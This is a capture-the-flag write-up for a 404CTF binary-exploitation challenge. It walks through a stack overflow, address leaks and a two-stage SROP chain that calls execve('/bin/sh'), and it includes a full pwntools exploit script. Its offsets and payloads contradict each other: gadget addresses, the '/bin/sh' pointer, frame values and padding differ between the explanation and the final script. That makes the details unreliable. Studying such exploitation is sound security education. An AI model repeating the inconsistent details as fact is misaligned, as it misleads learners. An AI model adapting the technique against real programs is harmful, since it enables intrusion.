TL;DR

Buffer overflow + limited gadgets = SROP time! Leak addresses β†’ chain two Sigreturn-Oriented Programming attacks β†’ first SROP calls read(), second calls execve("/bin/sh") β†’ shell! πŸš€

Challenge Files: chall (ELF binary)


Note: There might be simpler approaches, but this SROP method worked great. If you spot improvements, feel free to share! πŸ™‚


Challenge Overview

We’re given a 64-bit ELF binary that implements custom syscall wrappers and has a juicy buffer overflow vulnerability.

Binary Protections

$ checksec chall
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

What this means:

  • βœ… NX enabled - Stack not executable, no shellcode on stack
  • βœ… PIE enabled - Addresses randomized, need to leak
  • ❌ No canary - Buffer overflows won’t be caught
  • ⚠️ Partial RELRO - GOT is writable (but we won’t need it)

Source Code Analysis

Custom Syscall Wrappers

The binary implements its own syscalls using inline assembly:

void read(int fd, char* s, int count) {
    register int    arg1        asm("rdi") = fd;
    register char*  arg2        asm("rsi") = (char*)s;
    register int    arg3        asm("rdx") = count;
    register int    syscall_no  asm("rax") = 0;
    asm("syscall");
}

This is important because it means we have a nice syscall gadget available!

The Vulnerability: Buffer Overflow

In main(), we find the bug:

char boucle[4] = "\x01";      // Loop control variable
char decisions[0x14];          // Buffer: only 20 bytes!

while (boucle[0])  {
    puts("Que comptez vous faire ?\n");
    puts(">> ");
    read(0, decisions, 0x18 + 22);  // Reads 44 bytes into 20-byte buffer!
    // ...
}

The problem: read() accepts 0x18 + 22 = 0x2C (44 bytes) into a buffer of only 0x14 (20 bytes). We can overwrite:

  • The decisions buffer
  • The boucle variable (to exit the loop)
  • The saved RBP
  • The return address of main()

Exploitation Strategy

Step 1: Leak PIE Base

By sending exactly 16 bytes of padding, we overflow past the buffer without null terminators, allowing us to leak adjacent addresses:

def leak_pie(io):
    payload = b'\x3a' * 16
    io.sendlineafter(b'>>', payload)
    io.recvuntil(b'\x3a' * 16)
    leak = io.recv(6)
    leak = u64(leak.ljust(8, b'\x00'))
    exe.address = leak - 0x40a
    log.info(f"PIE: {hex(exe.address)}")

Step 2: Leak Stack Address

Same technique with 31 bytes of padding:

def leak_stack(io):
    payload = b'A' * 31
    io.sendlineafter(b'>>', payload)
    io.recvuntil(b'A' * 31 + b'\x0a')
    leak = io.recv(6)
    leak = u64(leak.ljust(8, b'\x00'))
    log.info(f"Stack: {hex(leak)}")
    return leak

Step 3: Control RIP and Exit Loop (In Two Steps)

Problem: A full payload would be too large to send in one buffer overflow.

Solution: We split it into two stages!

Step 3a: Overwrite Return Address

First payload - overwrite the return address without touching boucle[0]:

# First payload: control return address
payload = b'A' * 32           # Padding to saved rbp
payload += p64(stack - 0x20)  # Saved RBP
payload += p64(read)          # Return address -> read()
io.sendafter(b'>>', payload)

The loop continues because boucle[0] is still \x01.

Step 3b: Exit the Loop

Second payload - overwrite boucle[0] to exit:

# Second payload: set boucle[0] = 0 to exit loop
payload = p64(stack - 0x20)   # Saved RBP (rewrite cleanly)
payload += p32(0x1000)        # Padding
payload += p32(0x0)           # Padding
payload += b'A' * 12          # Padding
payload += b'\x00'            # boucle[0] = 0 β†’ Exit loop!
io.sendafter(b'>>', payload)

Now boucle[0] == 0, the while (boucle[0]) condition fails, and main() returns to… read()! 🎯

Step 4: SROP - What Is It?

Sigreturn-Oriented Programming (SROP) exploits the rt_sigreturn syscall (number 15 / 0xf). This syscall is used by the kernel to restore a process’s context after a signal handler finishes.

How it works:

  • When a signal handler completes, the kernel restores ALL registers from a sigcontext structure on the stack
  • By forging this structure, we control ALL registers (RIP, RAX, RDI, RSI, RDX, etc.)

Advantages:

  • Set all registers with a single syscall gadget
  • Perfect when few ROP gadgets are available
  • Ideal for calling complex syscalls like execve

Why SROP here?

  • We have a syscall gadget
  • Limited ROP gadgets available
  • Can fully control the stack
  • Perfect for chaining multiple syscalls!

Step 5: First read() - Setup for SROP

Key point: After exiting main(), we redirect to read(). This first read() call doesn’t execute SROP yet - it receives our ROP chain + sigreturn frame!

To trigger rt_sigreturn, we need RAX = 0xf. How?

We use this gadget:

0x32f: mov eax, dword ptr [rbp - 8]; pop rbp; ret

Strategy:

  1. Send a payload via read() containing 0xf at a specific location
  2. Use pop rbp to point rbp to that location
  3. Use mov eax, [rbp-8] to load 0xf into eax
  4. Call syscall β†’ Triggers rt_sigreturn!

Here’s the ROP chain sent via the first read():

syscall = exe.address + 0x0000000000000386
mov_eax = exe.address + 0x000000000000032f  # mov eax, [rbp-8]; pop rbp; ret
pop_rbp = exe.address + 0x0000000000000332

payload = b''
payload += p64(pop_rbp)      # Gadget: pop rbp; ret
payload += p64(stack)        # New rbp value
payload += p64(mov_eax)      # Gadget: mov eax, [rbp-8]; pop rbp; ret
payload += b'A' * 8          # Padding (popped into rbp)
payload += p64(syscall)      # Call syscall (rt_sigreturn because rax=0xf)

frame = SigreturnFrame()
frame.rax = 0               # Syscall read
frame.rdi = 0               # fd = stdin
frame.rsi = stack+0x100     # buffer on stack
frame.rdx = 0x200           # count
frame.rip = syscall         # After sigreturn, execute syscall
frame.rsp = stack + 0x150   # New stack pointer

# CRUCIAL: Place 0xf where mov eax, [rbp-8] will read it
io.sendline(b'A' * 5 + p64(0xf) + b'A' * 8 + payload + bytes(frame))

Execution flow:

  1. pop rbp: rbp = stack (we control rbp)
  2. mov eax, [rbp-8]: Reads value at stack - 8, which contains 0xf! β†’ eax = 0xf
  3. pop rbp: Clean up the stack
  4. syscall: With rax = 0xf β†’ Triggers rt_sigreturn!
  5. Kernel restores ALL registers from our forged SigreturnFrame
  6. RIP becomes syscall with registers set for read(0, stack+0x100, 0x200)

Result after first rt_sigreturn:

  • RAX = 0 (syscall read)
  • RDI = 0 (stdin)
  • RSI = buffer address on stack
  • RDX = 0x200 (size)
  • RIP points to syscall

β†’ The read() syscall executes and waits for our second input!

Step 6: Second read() β†’ Second SROP - Call execve

Now that we have a second read() active, we repeat the exact same process to trigger a second rt_sigreturn, this time to call execve("/bin/sh", NULL, NULL):

payload2 = b''
payload2 += p64(pop_rbp)
payload2 += p64(stack)
payload2 += p64(mov_eax)
payload2 += b'A' * 8
payload2 += p64(syscall)

frame2 = SigreturnFrame()
frame2.rax = 59             # Syscall execve
frame2.rdi = stack+0x139    # Pointer to "/bin/sh"
frame2.rsi = 0              # argv = NULL
frame2.rdx = 0              # envp = NULL
frame2.rip = syscall        # Execute syscall
frame2.rsp = stack + 0x4000 # New stack

# Place "/bin/sh\x00" at the start, then ROP chain and frame
io.sendline(b'/bin/sh\x00' + b'A' * 23 + payload2 + bytes(frame2))

Final state before syscall:

RAX = 0x3b (59 = execve)
RDI = address of "/bin/sh"
RSI = 0
RDX = 0
RIP = syscall

β†’ execve("/bin/sh", NULL, NULL) executes and we get a shell! πŸŽ‰

Gadgets Used

syscall:  0x386  # syscall; nop; pop rbp; ret
read:     0x377  # Complete read function
mov_eax:  0x32f  # mov eax, [rbp-8]; pop rbp; ret
pop_rbp:  0x332  # pop rbp; ret

Attack Flow Summary

1. Leak PIE + Stack addresses
   ↓
2. Buffer overflow #1 β†’ Overwrite RIP = read() (loop continues)
   ↓
3. Buffer overflow #2 β†’ Overwrite boucle[0] = 0 (exit loop)
   ↓
4. main() returns to read()
   ↓
5. First read() active
   ↓
6. Send: [0xf] + [ROP chain] + [SigreturnFrame #1]
   - ROP: pop rbp; mov eax, [rbp-8] (loads 0xf); syscall
   ↓
7. rt_sigreturn #1 restores registers for read(0, stack+0x150, 0x200)
   ↓
8. Second read() active
   ↓
9. Send: ["/bin/sh\x00"] + [ROP chain] + [SigreturnFrame #2]
   - ROP: same technique to load 0xf; syscall
   ↓
10. rt_sigreturn #2 restores registers for execve("/bin/sh", NULL, NULL)
    ↓
11. Shell! πŸŽ‰

Key insight: We split the attack into two payloads to bypass buffer size limits. Each SROP uses the mov eax, [rbp-8] gadget to load 0xf into rax before calling syscall, because 0xf is the syscall number for rt_sigreturn.

Complete Exploit

#!/usr/bin/env python3
from pwn import *

exe = ELF("./chall")
context.binary = exe

def conn():
    if args.GDB:
        r = process([exe.path])
        gdb.attach(r, gdbscript='b *main+174\nc')
    elif args.REMOTE:
        return remote("127.0.0.1", 1337)
    else:
        return process([exe.path])

def leak_pie(io):
    payload = b'\x3a' * 16
    io.sendlineafter(b'>>', payload)
    io.recvuntil(b'\x3a' * 16)
    leak = u64(io.recv(6).ljust(8, b'\x00'))
    exe.address = leak - 0x40a
    log.info(f"PIE: {hex(exe.address)}")
    
def leak_stack(io):
    payload = b'A' * 31
    io.sendlineafter(b'>>', payload)
    io.recvuntil(b'A' * 31 + b'\x0a')
    leak = u64(io.recv(6).ljust(8, b'\x00'))
    log.info(f"Stack: {hex(leak)}")
    return leak

def main():
    io = conn()
    leak_pie(io)
    stack = leak_stack(io)

    # Gadgets
    syscall = exe.address + 0x386
    read = exe.address + 0x376
    mov_eax = exe.address + 0x32f
    pop_rbp = exe.address + 0x332

    # Step 3a: Overwrite return address (without exiting loop)
    payload = b'A' * 32 + p64(stack - 0x20) + p64(read)
    io.sendafter(b'>>', payload)

    # Step 3b: Exit loop by overwriting boucle[0]
    payload = p64(stack - 0x20) + p32(0x1000) + p32(0x0) + b'A' * 12 + b'\x00'
    io.sendafter(b'>>', payload)

    # First SROP: setup read()
    rop1 = p64(pop_rbp) + p64(stack) + p64(mov_eax) + b'A' * 8 + p64(syscall)
    
    frame1 = SigreturnFrame()
    frame1.rax = 0
    frame1.rdi = 0
    frame1.rsi = stack + 0x150
    frame1.rdx = 0x200
    frame1.rip = syscall
    frame1.rsp = stack + 0x150
    
    io.sendline(b'A' * 5 + p64(0xf) + b'A' * 8 + rop1 + bytes(frame1))

    # Second SROP: execve("/bin/sh")
    rop2 = p64(pop_rbp) + p64(stack) + p64(mov_eax) + b'A' * 8 + p64(syscall)
    
    frame2 = SigreturnFrame()
    frame2.rax = 59
    frame2.rdi = stack + 0x150  # Address of "/bin/sh"
    frame2.rsi = 0
    frame2.rdx = 0
    frame2.rip = syscall
    frame2.rsp = stack + 0x4000
    
    io.sendline(b'/bin/sh\x00' + rop2 + bytes(frame2))

    io.interactive()

if __name__ == "__main__":
    main()

Lessons Learned

Exploitation techniques:

  1. SROP (Sigreturn-Oriented Programming) - Exploit rt_sigreturn to control ALL registers with minimal gadgets. Perfect when traditional ROP chains are difficult.

  2. PIE + stack leaks - Even with PIE enabled, partial overwrites can leak addresses from adjacent stack/binary data.

  3. Loop control manipulation - By carefully controlling which bytes to overwrite and when, we can exit loops at the right moment to trigger our exploit.

  4. Multiple buffer overflows - Sometimes one overflow isn’t enough. Chain multiple overflows for different purposes (leak β†’ control RIP β†’ exit loop).

Key insight: SROP is incredibly powerful when you have a syscall gadget and stack control. It lets you call ANY syscall with ANY arguments using just one gadget! πŸ’ͺ


Flag: 404CTF{14,3_M1lL1ardS_d'AnnÉe$_Plu$_7ARd...}


Made with β˜• and pwntools - 22 bytes was just enough!